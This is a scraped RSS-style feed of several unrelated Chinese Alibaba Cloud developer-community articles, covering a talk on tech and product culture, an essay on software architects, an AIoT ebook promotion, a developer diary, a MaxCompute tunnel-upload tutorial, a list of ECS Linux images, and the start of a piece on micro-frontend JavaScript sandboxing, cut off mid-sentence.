      比如说现在AI很火,算法很火,是不是我们都要去转型做人工智能?如果AI这一块确实能让你感觉到心流状态,能持续兴奋,去做就好。但如果只是为了去趁一个热点,那千万别去做。每一个岗位都很重要,不必去做比较。踢足球跟打篮球谁更重要?并不存在这种比较,每个人都很重要。这是我想分享的第一个点。
      后来我就持续去做前端了。我自己还有一个感觉,就是做技术,一定要保持真实不装,用专业说话。我之前做SeaJS、KISSY、Ant Design等技术项目时,和团队同学会有不少争执,开源项目里,远程异步吵架更是家常便饭。
      在这些争吵里,技术人都很简单,不看层级不看谁长得黑,只看谁在专业上能说服大家。坚持用专业说话,很多事情都会变得简单。现在挺怀念做技术时这种专业上的简单讨论,比如性能哪个方案好,通过数据来看,有一说一,非常简单有效。
      现在做产品,我们也在尝试用专业说话,任何人都可以反驳我,但要从专业上说服我,还可以和我赌,我赌输了,就给大家发红包,赌赢了,也是我给大家发红包,鼓励专业上的深入思考,敢于争辩,任何据理力争的探讨,都是对团队有益的,最怕的是沉默。
      做技术时,还会强调一点,要静水深流,很多领域都是要花长时间去做的。举个例子,像数据可视化,我们做G2和AntV是14年开始做,直到18年的时候,才初步有一些感觉出来。这之前的3年多时间,是一定要静下心来去做的。静水深流,很大程度上需要你的真热爱。
      做数据可视化时,我当时是很兴奋的。萧庆有推荐一本书给我,《The Grammar of Graphics》,这是图形语法的一本书。我们之前写的图表,饼图、柱状图、趋势图等,都是一图一表。如果有一种图形语法,让我们可以自由选择直角坐标或极坐标,再通过可视通道映射,把不同的数据,映射到不同的可视通道里,就可以生成出不一样的图表出来。这种灵活性,用传统的 ECharts等图表类库是感受不到的。一旦感受到,就会非常兴奋。
      但真要实现 G2 图形语法,需要我们能静下心来,花很长时间去阅读文献,去钻研,小到一个布局算法的实现,可能就是好几周的时间。真正花很长时间,深入去做,才会有些产出。
      静水深流的同时,我们还要考虑如何接地气。所谓接地气就是如何跟业务衔接上,如果你做了很多专业研究,最终在业务上不能落地,那肯定有问题。一定要两手都要抓,一手要在专业上不断静水深流,一手要在业务上不断找落脚点。
      我们常说,“此时此刻,非我莫属”,这个说法有个背面,是“每时每刻,做好自己”,坚持每时每刻做好自己,会让工作和生活都很简单。最近支付宝在用户体验上被很多用户吐槽,每个同学都会有自己的一些意见。做为技术,我们在吐完槽后,更重要的也许是去尝试推动解决技术能解决的问题。
      “此时此刻,非我莫属”,更多强调的并不是态度问题,而是能力问题。怎么提升各方面的专业能力,才是最重要的。很多时候并不需要你主动去说“此时此刻,非我莫属”,而是要让你的能力能让别人看到,因为你的能力而被选中去做,才叫“此时此刻,非我莫属”。要被选中,一定需要长时间积累提高专业能力,这样别人才能够认可你,才会有被选中的机会。

      二、做一个自由的产品人

      mceclip3_20200509105144_TKVO.png

      第二点谈到自由,我会着重讲下做产品的一些感受和经验。我的一个梦想是希望做一个自由的产品人。怎么才能在做产品时,拥有自由的状态呢?
      大家常说“唯一不变的是变化”,这是很好的一个价值倡导。但对我来说,一开始挺困惑的。小学学数学,勾股定律非常吸引我,居然就是勾三股四玄五,它在欧氏几何里是一个不变的规律。大学研究生期间我是学物理的,物理学非常注重的一点,就是寻找万世万物的规律,这些规律里也有很多不变的东西,比如普朗克常数、光速等物理常量。为什么不变?这中间的物理诠释,非常美妙。“唯一不变的是变化”,我的理解里,背后还有一句话,叫做“万变之中,不变至美”。当我开始做产品,发现这句话非常管用。
      举个例子,语雀里面的不变,是始终在知识领域,一直专注在知识的创作与交流上。做产品经常需要面对各种变化,这时寻找到不变的初心或定位,对产品的长远发展非常重要。这需要刻意锻炼自己在产品上的宏观眼力,能判断产品处于什么样的大趋势下,核心的差异化竞争优势在哪。
      几年前,公司用Confluence或Wiki管理文档,也能用,选择做语雀,很大一个原因,是因为看见了Confluence的痛点,它不能跟上公司的变化,Confluence里很多文档,是跟随组织结构的,但组织结构在阿里经常快速变化,很容易导致Confluence上的文档被不断抛弃,停滞更新,很容易带来知识的荒岛化和孤岛化。
      在这种背景下去做语雀,采用团队+知识库的模型,不绑定组织结构,让知识尽可能扁平化、尽可能开放,就能让语雀上的文档更有生命力,这是语雀在知识管理领域很核心的一个差异化竞争优势。同时不断提升文档的创作体验,让优势更具优势,并努力想办法让知识能流动起来,这是语雀里的关键点。文档的创作体验与知识的流动性,是语雀里面非常关键的不变点。当把这些不变点给抓住时,很多产品上的功能决策,就会变简单很多。
      做产品过程中,光有眼力是不够的,还需要手力。手力是方法论,是术,是具体怎么去做。比如如何做用户体验地图,如何做具体的产品决策。俞军有一本书很不错,叫《产品方法论》,它里面有个概念是:用户是需求的集合。我们做一个产品,要去把握每个功能背后,究竟在满足什么用户什么场景下的什么具体需求,要去看这些需求有没有共性,这个共性的需求集合,构成的才是一种用户。用户并不是某一个具体的人,而是一种抽象。当你把这层抽象找到之后,你才能找到产品的真正用户。有非常多的手力,需要我们不断去学,去实践,然后才能掌握。
      做产品过程中,还有很重要一点是心力。很多产品功能点做上去之后,可能要花很长时间用户才会用起来,并不是上线之后,马上就会有很多用户喜欢。如果刚开始一两周,数据不好看,就把它给毙掉的话,很多东西是做不出来的。技术产品领域,数据更多是一种辅助决策,你可以去参考它,但千万别迷信它,特别是在产品早期阶段。根据数据去做的产品功能,能让产品血肉丰满。但产品的灵魂,往往来自那些不根据数据、还坚持去做的产品功能。
      做产品过程中还有一点,是往前一步,不给自己设限。做语雀,最大的一个感触,是啥都得做。最开始我是半个PD,然后很快变成了客服,同时还需要兼做运营,还需要去承担BD的工作,因为没有BD,只能逼着自己去做,一切为了产品往前跑。开心的是,每次跟用户的各种碰撞,在和用户一起面对各种各样的问题时,很多好的产品想法就涌现出来。经历时的各种苦逼,回忆起来却是幸福的。
      万变之中,不变至美,找到产品中的不变点,很多事情就变简单了。同时不断逼自己去提升产品上的眼力、手力和心力,不给自己受限,随着这些能力的提高,我相信,做一个自由的产品人,就不会是太遥远的梦。

      三、做一个有爱的活人

      mceclip4_20200509105427_Q1IK.png

      最后我想说一说“认真生活,快乐工作”。我曾经是个工作狂,第一次看到这句话时,第一反应是为什么词语错位了。马总非常厉害,故意把认真和快乐反了一下,让认真去搭生活,让快乐去搭工作。
      我们很容易在工作中认真,但在生活中不认真。比如回到家里,陪小孩陪家人的时候,很容易松懈不在状态。后来我觉得不对,生活真的需要去认真对待的。现在我都会尽量早点回家,赶在小孩睡觉前能到家,尽量能花半个小时沉下心来,在陪伴小孩时,努力去做到把小孩看成整个全世界。很开心的是,真正这么去做后,哪怕每天只有半小时,也会发现小孩跟自己的互动多了很多,而且从这种互动中,父子彼此都能成长和收获。
      快乐工作我只说一点。对我来说,快乐工作的核心是眼睛里要有光芒,你对自己的工作要有足够的热爱。我经常会问团队同学一个问题,你是不是对所做的事情,眼睛里是有光芒的,你内心是不是真的很期待去做。这句话能激发一些同学,同时也是把双刃剑,会杀伤一些同学。有些同学听完这句话后,反思自己的工作,觉得当前工作好像挺枯燥的,然后选择转岗或离职。这并不是一件坏事情,真正有深入思考后,意识到当前的工作对自己来说是很枯燥的,是没有激情的,有这种触动后再选择转岗或者离职,长远来看对这个同学是更好的,对团队也是更好的。自己究竟为什么东西而痴狂,内心激情在哪,想清楚后,个体或团队的战斗力是很不一样的。这能让个体和团队都能变得更好。
      还有一句话,是去年的一个分享,“全情投入,守正出奇,愿等花开”,这个就不多说了,讲的是心态的定力,以及策略上的取舍。分享我最近的钉钉签名档,我改成了“关心、用心、静心”。关心非常关键,无论刚才说对生活的认真,对家人的关注,还是工作中对同学的关注,都很重要。很多团队的管理问题,我觉得都是leader对团队本身不够关心导致。年初或年中目标设定完成之后,等几个月后去看结果,这样是不行的,日常的过程管理更关键。生活中关心家人,工作中关心同学,朋友中关心好朋友,这是一个基本功,非常关键。
      关心是第一步,很多事情还需要真正用心去做,同时愿意花时间去静心等一些结果。我们团队有句土话叫做“要快但不要急”很多项目迭代,都希望能够尽快上线,包括我们做产品也希望能尽快拿到结果,但一定不能着急,很多东西不是短时间可以达成的。比如做云凤蝶,云凤蝶是一个企业级低代码研发平台,我们从17年开始投入,做过几次转型,一直到去年年底,我们在低代码领域才有一些真正的应用上来,才开始看到一些希望。用心去做,静心去等,这样关心才有效。
      **关心于人,用心于事,静心于己,我觉得能做到这三点的人,就是一个有爱的人。做一个有爱的活人,让自己始终处于活着的状态,希望自己能努力去做到。
      **

      四、体验技术部的团队⽂化

      mceclip5_20200509105544_8SZW.png

      前面这几点,是我对自己的要求,希望自己能在技术上做个简单人,在产品上做个自由人,在生活过程中能学会去爱。在2014年起,也在逐步把“简单、自由、有爱”倡导为整个体验技术部的团队文化。
      **简单自由有爱是三枚硬币。简单是枚硬币的话,正面是简单,反面则是专业。因为只有足够专业,才能够保持简单性,不够专业时,很多事情都会变复杂。
      自由的背面是责任。光追求自由,没有担当没有责任是不行的。足够有责任心去担当,这样去做事情,才能真正获得自由感。
      有爱也是一样,背后要有很强的行动力。**公司做公益,光嘴巴上说是不行的,哪怕一年抽出三个小时真正做一次公益,才是真正的做公益。
      我最近有做一个公益,是帮助小区的保安,在小区人员进出的地方帮忙测体温和看健康码。我在小区门口站了4个多小时,这个过程中,我发现保安的生活远远不像我们想像中那么枯燥,同时很惊讶发现支付宝的用户打开健康码有将近十几种方式,有些打开健康码的方式,我压根就想不到。比如很多人打开健康码,是通过中间那个banner广告,还有一个高中生给我看的是一张图片。后来发现给我看图片的还不只一个人,累计有四五个人给我看图片。有这个实际的体感后,就能很快理解,为什么健康码后续把时间给加上去。同时还会发现,有一些老人家没有智能机,这可怎么用健康码?估计大家如果没去接触,光凭想象是永远猜不出来的。没有智能机的老人家,是找小区开个单子,每天盖章来证明。
      无论做公益还是做其他,一定要自己真正去做,在做的过程中,才会真正懂得一些东西。
      “简单、自由、有爱”和“专业、责任、行动”,形成了体验技术部的亚文化。我们日常还会沉淀一些团队的土话,比如,“不要在毛坯房里雕花”,这是去年很强调的。因为在体验技术部,主要人群是设计和前端,我们身上有个特点,就是比较关注细节。这个特点,有时是个好事,可以让我们把东西做到极致,但同时在很多情况下,也会变成一个缺点。比如有设计师转做产品时,很容易去抓边角料,抓各种细节,但这些细节带来的性价比并不高。所以我们就会一直强调如果当前产品是个毛坯房的话,一定不要去雕花。我们真正要雕花的地方,应该是我们想清楚的一些关键主流程,在这些关键主流程上,可以花大力气去精心打磨,其他更多地方,该放则放,大胆取舍,才是更好的选择。
      说了很多,最最关键的,是内心真的要去believe,要去相信。带着相信去疯狂做到时,往往真的就会往你想的方向发展。

      【非常问答】Q&A环节

      前端学习最重要的是什么?
      玉伯:这个问题我说两个点。第一我觉得要保持学习的欲望、要保有好奇心,能持续不断对一些东西感兴趣,不断去往前学。还有一点,是在学的过程中,要去抓住一些不变的东西。比如说CSS的学习,很多前端同学可能都已经不太会CSS了,但是真的要去学CSS,要知道它最最核心的是盒模型、布局、层叠等原理,你要从一个更高的维度,去建立自己的理解。有了这些理解后,往往就可以四两拨千金,可以把整个知识体系建立起来。建好之后,就可以在学习过程中,知道自己究竟是在学一个新东西,还是只是学老方法的一个优化。
      如何长期持续保持团队的战斗力和凝聚力,如何吸引更优秀的人才加入团队?
      玉伯:我觉得非常简单的一招,叫做用事情去吸引人。团队做的事情一定要足够去吸引到对方的加入,让他认可这件事情,去为这件事情而疯狂。比如说Ant Design,这是一种设计语言,我们要做成全球一流的,认可这个方向并感兴趣的人就会被吸引过来。做语雀也是这样。在我心目中,语雀要做成新一代Office。在想一个问题,为什么从上个世纪80年代出现的Word、Excel、PPT,一直延续到现在。一个Word文档究竟要解决的本质问题是什么,是否环境已发生变化,是否有新的解法。根据这个思路去思考,你会发现Office现有的Word是面向打印机设计的,如今在数字化转型浪潮中,打印需求急剧下降,我们并不需要分页,很多面向A4纸打印的产品功能是可以简化的。这个大趋势下,我们其实有机会去重新定义什么是一份新型的Word文档。这个文档可以跟传统文档不一样,传统Word文档是静态的,新的文档可以基于互联网Web技术让整个文档活起来。当真正把这些东西想清楚后,去找到相应的同学去聊的过程中,感兴趣的对方,往往眼睛里就会有光芒,这就是团队的吸引力。对已有团队来说,有希望有前景的的事情,就是团队的战斗力和凝聚力所在,对内心有相信的团队同学来说,工作就不是简单一份工作了,而是为了内心的相信在做事。
      中国的产品设计和西方的差别很大。如何去走向全球,做到像FaceBook那种全球流行的设计
      玉伯:这个问题我其实没想过,我目前更多想的一个问题是很多全球化的设计为什么在中国推行不下去。适合中国的设计究竟应该怎样。有一个例子挺好玩。
      在企业级IM里面,国外有一款产品很流行,叫Slack。当时钉钉也考虑过要不要做成Slack的样子,但是后来钉钉还是选择不往Slack的方式去做,而是借鉴了微信,采用了中国人更熟悉的产品形态,钉钉群的形态,让钉钉变得更接近中国人的使用习惯。我觉得更好的全球化应该是本地化,要回归到每一个国家每一个地区的用户群体,他们的用户习惯可能真的是不一样的。
      之前听国际的一个同事分享,谈中国的红包,在东南亚有些地区不能用红包,要变成绿包或者是白包,因为当地文化对红色的理解不像我们一样觉得是喜庆的,喜庆的是白色或者绿色。
      面向不同人群,也是一种“本地化”。比如说面向技术人员的产品应该怎么设计,和面向设计师的会很不同。像VSCode是面向程序员的,就很强调快捷键,很强调效率,甚至可以形成整个IDE领域的一整套体系化设计。产品的本地化设计,核心还是要回到用户本身习惯去看问题。

      ]]>
      什么是架构师?-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 一 什么是架构师

      引用百度百科的解释。所谓架构师,通俗的说就是设计师或结构设计者。在软件工程领域中,软件架构师实际上就是软件项目的总体设计师,是软件组织新产品的开发与集成、新技术体系的构建者。

      在刚刚工作,参与到软件这个行业时候,经常会听到一个段子。

      甲:我已经应聘到一家软件公司了,很兴奋的是,今天上班的时候,全公司的人都来欢迎我。

      乙:羡慕的不要不要的,都什么人来了

      甲:CEO、COO、CTO、所有程序员,还有会计、司机都来了。

      乙:哇靠,你太牛叉了

      甲:没有没有,就他妈一个人!

      乙:靠!!!

      其实这个段子,在很多公司不断重现着,可能没有那么夸张而已。当人在一家角色不是很清晰的创业公司或者外包公司时,往往这种事情屡见不鲜。一个人,从需求、开发、测试、运维,身兼数职,变成了个全才。但是常在河边走,哪有不湿鞋,很多时候,就坑的不要不要的。慢慢的心脏强大,后来就微微一笑很倾城了。

      对于架构师,是有着国际标准的。架构师,是软件开发活动中的众多角色之一,可能是一个人,也可能是一个团队。有兴趣的,可以去了解下国际标准。目前,架构师主要是着力于综合运用已有的产品和技术,来实现客户期望的需求。

      二 架构师的职责

        架构师需要参与项目开发的全部过程,包括需求分析、架构设计、系统实现、集成、测试和部署等各个阶段,负责在整个项目中对技术活动和技术说明进行指导和协调。

        架构师主要职责有4条:

      1、需求确认

        在项目开发过程中,因为架构师需要充分理解需求,才能合理的按照系统设计,所以需要非常明确的需求反复确认。

      2、系统分解

        根据需求,需要由架构师对于复杂的系统模块,进行拆分,拆成能够理解、合理、符合公司技术团队水平实现的小模块。系统分解,是一项复杂的能力,需要综合各种去拆解。

      3、技术选型

        架构师通过对系统的一系列的分解,最终形成了软件的整体架构。技术选择主要取决于软件架构。

      4、技术规范

        对于需求的实现,由架构师把控技术环节的相关规范

      三 架构师的误区

      1、架构师就是项目经理

        首先明确架构师不是项目经理,两者有明确的区分。但是不排除有些小项目中,常见项目经理兼架构师。

      2、架构师负责需求分析

        架构师不是需求分析员。架构师更重要的职责是拿到需求之后的事情。

      3、架构师从来不写代码

        架构师要保持技术的深度和广度,个人认为,代码必须要进行书写,永远不要放下

      四 架构师的基本素质

      沟通能力

      领导能力

      抽象思维和分析能力

      技术深度和广度

      欢迎大家关注新人公众号!
      image.png

      ]]>
      开放下载,多场景多实战《阿里云AIoT造物秘籍》,值得收藏!-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 推荐语:

      我们可以看到AI和IoT技术的应用正在影响每个人的日常生活,也正在帮助这个社会更智能地协同和运转,但是我们相信接下来还有更多、更好的创新从AIoT开发者手中诞生。阿里云MVP刘洪峰是一名优秀的AIoT开发者,从他身上看到中国开发者善于创新、乐于分享的特质。非常感谢他为技术布道,也希望有更多的AIoT开发者能参与到创新和分享的队伍中来。

      万物智联的时代,阿里云会为AIoT建设好基础设施,提供平台,提供工具,为每一个AIoT开发者提供普惠而可靠的支撑。

      库伟(库氪)

      阿里巴巴集团副总裁

      天猫精灵事业部总经理

      阿里云智能IoT事业部总经理

      阿里云智能AIoT多行业场景落地有哪些实战?设备端如何与阿里云物联网设备打通?阿里物联网小程序的构架有哪些注意事项?
      树莓派的新玩法,10年物联网一线行业实战的造物秘籍,带你了解云端一体化。

      点击免费下载《阿里云AIoT造物秘籍》上>>>

      点击免费下载《阿里云AIoT造物秘籍》中>>>

      点击免费下载《阿里云AIoT造物秘籍》下>>>

      作者叶帆科技CEO刘洪峰,拥有多年的物联网从业经验、研发了物联网智能网关、YFIOs和YFHMI等物联网中间件软硬件平台,本次《阿里云AIoT造物秘籍》是对阿里云物联网的倾心之作!

      上册也可在PC端打开https://developer.aliyun.com/topic/download?id=111下载。
      中册也可在PC端打开https://developer.aliyun.com/topic/download?id=112下载。
      下册也可在PC端打开https://developer.aliyun.com/topic/download?id=113下载。
      image.png
      image.png

      1、以“术”彰“道”,用匠心做技术—对话阿里云 MVP刘洪峰
      一直以来,我们印象里的刘洪峰都是那个热衷布道的物联网老兵“刘老师”。可你是否知道,除了醉心技术以外,他还在艺术方面颇有造诣?今天,我们带你认识不一样的刘洪峰。

      2、技术创业者如何绘制战略“一张图”
      “战略,是一种从全局考虑谋划实现全局目标的规划,战术只为实现战略的手段之一。争一时之长短,用战术就可以达到!如果是“争一世之雌雄”,就需要从全局出发去规划,这就是战略!”,以上是在百度百科中关于战略的一个释义。

      3、湖畔大学之在湖边 ● 畅谈1号位的技术观

      “企业1号位要不要懂技术?”,这是第七期“在湖边”活动的主旨论题。“奇葩大会”和“吐槽大会”史炎、大雄老师指导CEO们进行辩论和吐槽。金句不断:”项目洽谈的时候,客户总问我,技术够不够新,技术够不够成熟,在多少现场实施过。就像姑娘找男朋友的时候,过来就问你恋爱技巧够不够高,还希望你是个小鲜肉”。

      4、阿里云的物联网之路

      未来十到二十年,大家基本已经形成了一个共识,那便是新格局的奠定将由 AI 和物联网技术来支撑。放眼国内,在这些互联网巨头之中,未来真正成为竞争对手厮杀的,阿里和华为是首当其冲,在这两个领域双方分别暗自发力,更有各有各的优势。

      5、时代大背景下的阿里云IoT物联网的现状和未来

      物联网看似简单的三个字,实现起来却不那么容易,不仅仅是硬件和软件的问题,更是通信和各种设备聚合的问题。作为中国最有影响的公司,阿里巴巴从芯片、到嵌入式系统、到物联网平台,再到各种 ET 大脑及工业互联网平台,最后到 SaaS 加速器及小程序。用两到三年的时间,才把阿里未来 AI+IoT 的战略布局初步成型,这已经是最快的速度了。

      阿里云开发者社区——藏经阁系列电子书,汇聚了一线大厂的技术沉淀精华,爆款不断。点击链接获取海量免费电子书:https://developer.aliyun.com/topic/ebook开发者藏经阁.jpg

      ]]>
      小猿日记 - 程序猿的日常日记(4)-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 口水记

      又过了一个周末,早晨自然又是踩点。请叫我踩点小猿。

      上午都在忙着优化那日增几百万的数据库表了。

      通过一些会议讨论,还是需要改动表结构才能进行分库分表,否则无法进行下去。因为通过什么字段的查询语句都有,那么这怎么分嘛~分了之后,未命中分表字段的查询那岂不是更坑。

      所以新增了一个字段,该字段在所有的查询中,理论上都需要用到的,可惜的是,之前数据库的设计,未存储该字段。

      现在要做的就是如下几步。(必须要做,不做的话,过些天就有宕机危险)

      • 梳理出所有的查询sql
      • 增加新字段作为查询条件
      • 修改dao层的原有所有接口,增加参数
      • 内部接口梳理出来,单独进行优化
      • 对于原有API接口,新增接口,原有接口第一版本不做改动,做删除标识
      • 通过调用关系,找到所有相关对外暴露的API接口
      • 通过zk找到所有的消费者应用
      • 找到相关应用负责人,通知升级版本,以及告知原接口废弃时间点
      • 在废弃时间点后,项目版本会再升级,对于标识删除的接口实现,直接进行抛异常处理
      • 所有插入语句的接口,增加新增字段的值的插入
      • 旧数据订正脚本准备

      以上就是填坑的全部步骤,其中测试无法覆盖的风险、遗漏应用或者相关负责人未及时更改的风险极有可能会发生。

      做到项目逻辑不变动,上游应用通知到位。及时通知,及时跟进。

      由于改动的结构比较底层,改动的地方与接口非常多,涉及接口几十个,相关上游项目也有几十个,要通知的人更不用说了。

      相对来说,这是一个风险比较大的改动,但是又不得不做的事情。只能是谨慎再谨慎了。

      下午倒是开了一个3小时的需求评审,由于我这边还有比较紧急的优化,我只是过去旁听并提提意见,毕竟,多熟悉熟悉团队其他项目,其他需求是非常必要的。

      晚上抽空去健身了,游泳撸铁,一天的生活就这么过去。

      小结

      今天还是比较充实的一天。

      需求评审的时间还是太久了,强烈建议所有产品,超过2小时的需求,都拆成两个需求来做,小步快跑。

      优先做比较重要的部分功能。

      不正经语录

      • 3个小时的会议,能认真听进去的并互动的,也就是前半场,后半场人都迷糊了
      • 产品说的需求不会变动,记得录音,下次改需求,记得放录音,拿二维码

      声明

      本文故事纯属遐想,如有雷同,我是原创。

      欢迎转载。
      转载请务必注明以下信息。
      原作者:谙忆
      原文地址:https://copyfuture.com/blogs-details/20200518225101652gn1tq0mbp8pulc9

      公众号

      更多精彩内容、活动、程序猿的小故事,欢迎扫码关注公众号
      程序编程之旅

      ]]>
      SQL_ODPS-MaxCompute-odpscmd-tunnel-数据上传下载-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 SQL_ODPS-MaxCompute-odpscmd-tunnel-数据上传下载

      1. -rd行分割 -fd列分割 -charset编码

      --建临时表
      odps@ work_test_1>create table if not exists t_rd_fd(id int,name string);
      
      --源数据data_t_rd_fd.txt
      --666$$张三||555$$李四||
      
      -- -rd行分割 -fd列分割 -charset编码
      odps@ work_test_1>tunnel upload D:#ODPS_D2odps_datadata_t_rd_fd.txt work_test_1.t_rd_fd -rd "||" -fd "$$" -charset gbk;
      Upload session: 20200220231800a0dbdb0b12e98660
      Start upload:D:#ODPS_D2odps_datadata_t_rd_fd.txt
      Using || to split records
      Upload in strict schema mode: true
      Total bytes:26   Split input to 1 blocks
      0000-00-00 00:00:00     scan block: '1'
      0000-00-00 00:00:00     scan block complete, block id: 1
      0000-00-00 00:00:00     upload block: '1'
      0000-00-00 00:00:00     upload block complete, block id: 1
      OK
      
      --检查一下
      odps@ work_test_1>select * from work_test_1.t_rd_fd;
      +------------+------------+
      | id         | name       |
      +------------+------------+
      | 666        | 瀵姳绗?      |
      | 555        | 閺夊骸娲?      |
      +------------+------------+
      

      2.脏数据-dbr true -s only ;tunnel show bad 0000;

      --源数据data_t_rd_fd.txt
      --666,张三
      --555,李四 
      --1.34,王五
      --AA
      
      -- -dbr true -s only;审查一下有哪些脏数据 仅读
      odps@ work_test_1>tunnel upload D:#ODPS_D2odps_datadata_t_rd_fd.txt work_test_1.t_rd_fd -dbr true -s only;
      Upload session: 000000000009151647df0b12dd8e9e  --注意这个session
      Start upload:D:#ODPS_D2odps_datadata_t_rd_fd.txt
      Using rn to split records
      Upload in strict schema mode: true
      Total bytes:39   Split input to 1 blocks
      0000-00-00 00:00:00     scan block: '1'
      0000-00-00 00:00:00     ERROR: format error - :1, BIGINT:'1.34'  For input string: "1.34"content: 1.34,鐜嬩簲
      offset: 29
      0000-00-00 00:00:00     ERROR: column mismatch, expected 2 columns, 1 columns found, please check data or delimiter
      content: AA
      offset: 34
      0000-00-00 00:00:00     scan block complete, block id: 1 [bad 2]
      OK
      odps@ work_test_1>
      --tunnel show bad 具体session;查看一下具体是哪些脏数据
      --通过这种方法可以快速找到错误信息对源文件修正
      odps@ work_test_1>tunnel show bad 0000000000329151647df0b12dd8e9e;
      1.34,鐜嬩簲
      AA
      odps@ work_test_1>
      --然后可以去源文件修正或删除,再上传
      ]]>
      阿里云ECS云服务器Linux镜像系统发行版本-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 阿里云服务器Linux操作系统镜像可选CentOS、Ubuntu、Red Hat、Debian、SUSE Linux、OpenSUSE、CoreOS、Aliyun Linux和FreeBSD镜像,Linux百科分享阿里云ECS云服务器可安装的Linux镜像操作系统列表:

      阿里云ECS云服务器Linux镜像

      阿里云ECS云服务器Linux镜像

      阿里云ECS云服务器是通过选择镜像来安装Linux操作系统的,阿里云支持的Linux发行版本有很多,如:CentOS、Ubuntu、Red Hat、Debian、SUSE Linux、OpenSUSE、CoreOS、Aliyun Linux和FreeBSD等Linux操作系统。各个Linux系统提供的版本Linux百科网来简单汇总一下,实际请以阿里云官网为准,因为ECS云服务器实例规格不同,对应可选Linux镜像版本也不同。

      关于ECS云服务器选择镜像系统需要注意的是,如果购买的是中国大陆地域,那么无所谓,后续操作系统可以随意更换(文档:ECS云服务器更换操作系统);如果购买的是中国香港或其他海外国家地区,那么Linux镜像和Windows镜像是不可以互换的。

      Linux镜像系统 版本
      CentOS 8.1 64位、8.0 64位、7.7 64位、7.6 64位、7.5 64、7.4 64位、7.3 64位、7.2 64位、6.9 64位、6.10 64位
      Ubuntu 18.04 64位、16.04 64位、14.04 64位
      Red Hat Enterprise Linux 8.1 64位、Enterprise Linux 8 64位、Enterprise Linux 7.7 64位、Enterprise Linux 7.6 64位、Enterprise Linux 7.5 64位、Enterprise Linux 7.4 64位、Enterprise Linux 6.9 64位、Enterprise Linux 6.10 64位
      Debian 9.9 64位、9.8 64位、9.6 64位、9.12 64位、9.11 64位、8.9 64位、8.11 64位、10.3 64位、10.2 64位
      SUSE Linux Enterprise Server 15 SP1 64位、Enterprise Server 12 SP5 64位、Enterprise Server 12 SP4 64位、Enterprise Server 12 SP2 64位、Enterprise Server 11 SP4 64位
      OpenSUSE 42.3 64位、15.1 64位
      CoreOS 2345.3.0 64位、2303.4.0 64位、2303.3.0 64位、2247.6.0 64位、2023.4.0 64位、1745.7.0 64位
      FreeBSD 11.3 64位、11.2 64位
      Aliyun Linux 2.1903 LTS 64位

      以上为阿里云ECS云服务器可选的Linux镜像系统,本文仅供参考,实际请以阿里云官网为准。

      ]]>
      阿里云开放平台微前端方案的沙箱实现-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 cube-3510691_1920.jpg

      导读

      微前端已经成为前端领域如今比较火爆的话题,关于微前端价值的讨论,可以参考克军的 拥抱云时代的前端开发框架——微前端。微前端在技术方面,有一个始终绕不过去话题就是前端沙箱,。本篇具体探讨一下,在微前端领域如何实现前端沙箱。

      背景

      应用沙箱可能是微前端技术体系里面最有意思的部分。一般来说沙箱是微前端技术体系中不是必须要做的事情,因为如果规范做的足够好,是能够避免掉一些变量冲突读写,CSS 样式冲突的情况。但是如果你在一个足够大的体系中,总不能仅仅通过规范来保证应用的可靠性,还是需要技术手段去治理运行时的一些冲突问题,这个也是沙箱方案成为微前端技术体系的一部分原因。

      首先纵观各类技术方案,有一个大前提决定了这个沙箱如何做:最终微应用是 单实例 or 多实例 存在宿主应用中。这个直接决定了这个沙箱的复杂度和技术方案。

      • 单实例:同一个时刻只有一个微应用实例存在,此刻浏览器所有浏览器资源都是这个应用独占的,方案要解决的很大程度是应用切换的时候的清理和现场恢复。比较轻量,实现起来也简单。

      • 多实例:资源不是应用独占,就要解决资源共享的情况,比如路由,样式,全局变量读写,DOM. 可能需要考虑的情况比较多,实现较为复杂。

      最开始我们的想法是:

      从业务场景:我们可能存在的情况是当用户操作一个产品 A 的同时和另一个产品 B 发生了关联操作,需要唤醒应用 B 做操作。虽然从产品维度可以规避掉,比如先切到 B, 然后切回 A, 但是从某种程度上因为技术的原因,我们限制了产品交互的发挥。

      从技术角度:解决了多实例当然单实例的场景也不在话下,并且单实例的方案某种程度上给编码上带来了一定复杂度,比如业务代码需要自己做业务上下文的切换。

      最近 qiankun 2 也转变了思路从单实例的支持到开始支持多实例,多多少少也侧面说明了,多实例是个一个值得投入和技术攻克的场景。

      基于上面的考量,我们就开始了我们 Browser VM 沙箱的实现探索。总结起来可以用下图表示:

      1.png

      JavaScript 沙箱实现

      沙箱环境构造
      要实现沙箱,我们需要隔离掉浏览器的原生对象,但是如何隔离,建立一个沙箱环境呢?Node 中 有 vm 模块,来实现类似的能力,但是浏览器就不行了,但是我们可以利用了闭包的能力,利用变量作用域去模拟一个沙箱环境,比如下面的代码:

      function foo(window) {
        console.log(window.document);
      }
      
      foo({
          document: {};
      });

      比如这段代码的输出一定是 {}. 而不是原生浏览器的 document.

      所以 ConsoleOS 实现了一个 wepback 的插件在应用代码构建的时候给子应用代码加上一层 wrap 代码,创建一个闭包,把需要隔离的浏览器原生对象变成从下面函数闭包中获取的,从而我们可以在应用加载的时候,传入模拟掉的 window,document 之类的对象。

      // 打包代码
      __CONSOLE_OS_GLOBAL_HOOK__(id, function (require, module, exports, {window, document, location, history}) { 
        /* 打包代码 */
      })
      
      function __CONSOLE_OS_GLOBAL_HOOK__(id, entry) {
        entry(require, module, exports, {window, document, location, history})
      }

      当然也可以不靠工程化的手段来实现,也可以通过请求脚本,然后在运行时拼接这段代码,然后eval 或者 new Function, 来达到相同的目的。

      原生对象模拟
      沙箱隔离能力有了,剩下的问题就是如何实现这一堆浏览器的原生对象了。最开始的想法是我们根据 ECMA 的规范实现(现在仍然有类似的想法),但是发现成本太高。不过在我们各种实验之后,发现了一个很“取巧”的做法,我们可以 new iframe 对象,把里面的原生浏览器对象通过 contentWindow 取出来,应为这些对象天然隔离,就省去了自己实现的成本。

      const iframe = document.createElement( 'iframe' );

      当然里面有很多的细节需要考量,比如:

